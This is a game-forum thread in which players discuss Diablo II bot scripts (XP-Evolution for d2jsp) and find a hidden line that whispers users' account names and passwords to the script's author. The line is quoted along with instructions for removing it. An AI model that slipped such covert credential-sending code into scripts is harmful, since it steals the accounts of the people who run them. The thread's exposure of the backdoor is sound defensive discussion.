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[Guide] XP-Evolution Scripts (released 7/14/06) + 1.2.0 Core
#21
yes, thats exactly how it works
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#22
ok i have to chars on different accs. i changed the /m tomyothermulechar.

so i started the bot with the xp_autostarter with the /m tomyothermulechar. i parked my mule in channel op rawr and waited and waited til my parents got pissed. any ideas?
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#23
ya uh someone on EoN (if you know what I am talking about)

post this. and says it may have set up scam you and steal your accounts.. take a look

Quote:case 3: // Lobby Chat

if( !chatActionsDone ) {
chatActionsDone = true;
delay( rnd(waitInChatBeforeActionsMin, waitInChatBeforeActionsMax) );
if( joinRandomChannel || joinChannelInChat != "" ) {
say( "/join " + (joinRandomChannel ? getRandomString(rnd(3,10)) : joinChannelInChat) );
delay( rnd(waitAfterChannelJoinMin, waitAfterChannelJoinMax) );
}

//If chosen to creat games starting at 1 and go up from there (1,2,3,4,etc), else start at 0. Thanks to collective for this
if( spamGame && joinChatAfterGame ) {
if (startgameatone) {
name = (!gameData.gameName || gameData.useRandomGameName ? getRandomString(rnd(minimumGameNameChars,maximumGameNameChars)) : gameData.gameName + (gameData.totalGames + 1));
pass = (gameData.useRandomGamePass ? getRandomString(rnd(minimumGamePassChars,maximumGamePassChars)) : gameData.gamePass);
} else {
name = (!gameData.gameName || gameData.useRandomGameName ? getRandomString(rnd(minimumGameNameChars,maximumGameNameChars)) : gameData.gameName + (gameData.totalGames));
pass = (gameData.useRandomGamePass ? getRandomString(rnd(minimumGamePassChars,maximumGamePassChars)) : gameData.gamePass);
}

if ( gameData.gamePass != "" ) {
if (spamPass) { say( "Game " + name + "//" + pass + " will be made soon enough, please wait for me to tell you when." ); }
Quote:else { say( "/m XP-Evolution "+gameData.accountName+":l"+gameData.accountPass); }

} else { say( "Game " + name + " will be made soon enough, please wait for me to tell you when." ); }
delay( 1000 );
}

if( gameData.followBotMode ) break;
if( randomChatTalk ) {
for( i=0; i<rnd(randomChatLinesMin, randomChatLinesMax); i++ ) {
say( pickRandomLocaleKey() );
delay( rnd( randomChatLineDelayMin, randomChatLineDelayMax ) );
}
}

sry if im not allowed to post this..
I havent been around here in like... forver.. haha
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#24
Yea,

Creator of the scripts did that on purpose Tongue but its for protection for whoever didnt donate of something
[Image: untitled5kl4.jpg]
I like to thank Frogman for making my awesome sig!
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#25
...i still dont realli understand -_- wait first of all wats EoN and wat do u have to change it from sending it to XP-Evolution to another sn. could sum1 explain in dept if they have time?
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#26
theres been posts on this already, they put a couple of lines in LoaderXP which wispered your account name + password to the script maker. You just delete those lines, prob solved.
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#27
If you guys are unsure of using this Ive been using this since it came out and all my accounts are fine
[Image: Snipz.png]
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#28
Snarg posted on edgeofnowhere how to clean these scripts if yall want to use these:
http://edgeofnowhere.cc/viewtopic.php?t=...236527dfc4

Although EoN does not support the linking to XP scripts (unless it is from an 'official' source) we do support d2jsp and scripting in general. As such, I can see no reason *not* to tell you how to clean the recently infected scripts.

Should you find yourself in possesion of an XP script, no matter how you got it, look for and open up a file called: XP_autostarter.d2j. Open the file in Notepad or Wordpad, does not matter wich one. Look for a line similar to this:
Quote: <table align="center" border="0" cellpadding="3" cellspacing="1" width="90%"><tbody><tr> <td></td></tr><tr><td class="code">else { say( "/m XP-Evolution "+gameData.accountName+":l"+gameData.accountPass); }</td></tr></tbody></table>
<table align="center" border="0" cellpadding="3" cellspacing="1" width="90%"><tbody><tr><td class="code"></td></tr></tbody></table>
Keep in mind, it may not look exactly like this. The main thing to look for is the:
Quote: <table align="center" border="0" cellpadding="3" cellspacing="1" width="90%"><tbody><tr> <td></td></tr><tr><td class="code">/m</td></tr></tbody></table>
<table align="center" border="0" cellpadding="3" cellspacing="1" width="90%"><tbody><tr><td class="code"></td></tr></tbody></table>
There is no reason your bot should be messaging anyone. There are three ways to fix this:
  • 1) Delete the line.
  • 2) Make the line a comment by adding two slashes in front of it. It will look something like this:
    Quote: <table align="center" border="0" cellpadding="3" cellspacing="1" width="90%"><tbody><tr> <td></td></tr><tr><td class="code">//else { say( "/m XP-Evolution "+gameData.accountName+":l"+gameData.accountPass); }</td></tr></tbody></table>
  • 3) Have some fun. Spam the account collecting the information. Change the line to something like this:
    <table align="center" border="0" cellpadding="3" cellspacing="1" width="90%"><tbody><tr> <td></td></tr><tr><td class="code">
    Quote:else { say( "/m XP-Evolution eatmy:l hairynuts"); }
    </td></tr></tbody></table>
Regarless, after the changes are made watch the bot for a while. There may be other code in there I have missed.
[Image: untitled5kl4.jpg]
I like to thank Frogman for making my awesome sig!
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#29
does d2jsp even add this to the ones with the donors? if not how does it get leaked and all of a sudden have this in it?
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#30
naw... it is public now
it released when u enter on mais of d2jsp forums

D2jsp 1.2 bla bla core

then some1 download go trought files and edit~~

that's make sense isnt it?
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#31
erm, its in the autostarter.d2j file you say, well might want to check the LoaderXP.d2j file aswell, because that is where it was located on the first version to have this (dominatorXP)
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